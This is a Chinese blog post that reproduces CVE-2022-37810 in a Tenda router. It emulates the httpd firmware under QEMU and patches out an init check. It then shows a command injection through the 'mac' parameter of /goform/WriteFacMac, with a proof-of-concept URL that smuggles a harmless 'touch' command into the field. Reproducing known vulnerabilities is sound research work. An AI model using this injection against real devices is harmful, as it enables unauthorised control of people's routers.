
Tenda 路由器 CVE-2022-37810复现

漏洞描述

固件下载
固件模拟
根据以往经验知道是/bin/httpd
服务
先尝试用户级模拟,毕竟可能需要patch和配置虚拟网卡

根据报错的字符串找到错误流程的位置

看到主要是apmib_init
函数的返回值控制了我们的报错,在网上主要是两种方法来处理,一种是找到定义该函数的库文件,找到对应的so文件,然后重新编写编译一个.so文件,定义该函数返回1即可。或者直接patch掉;我的习惯是直接patch

需要把这里的跳转直接全部nop到正常执行的部分

再次运行

是另一个报错了
同样的方法即可

ok了,接下来就是配置虚拟网卡了
根据字符串找到赋值ip的地方最后找到

1 | sudo brctl addbr br0 |


模拟成功了

系统级模拟只需要传到qemu虚拟机里面即可,这里不赘述了(主要就是创建好init里面创建的文件)
系统级模拟成功

漏洞分析
根据漏洞描述找到漏洞函数

这里控制好mac
参数就可以进行命令注入,而这个函数一眼就可以看出应该是goform过程下的接口

访问下该接口试下

接着分析有何限制,没啥限制,就是获取了mac参数的值,若没有就用默认的00:01:02:11:22:33
,那我们可以直接在后面拼接命令
POC
1 | http://192.168.0.6/goform/WriteFacMac?mac=00:01:02:11:22:33%20||%20touch%20/tmp/Berial.txt |

- 标题: Tenda 路由器 CVE-2022-37810复现
- 作者: Berial
- 创建于 : 2025-04-14 20:27:09
- 更新于 : 2025-04-14 22:27:02
- 链接: https://berial.cn/posts/Tenda路由器CVE-2022-37810复现.html
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论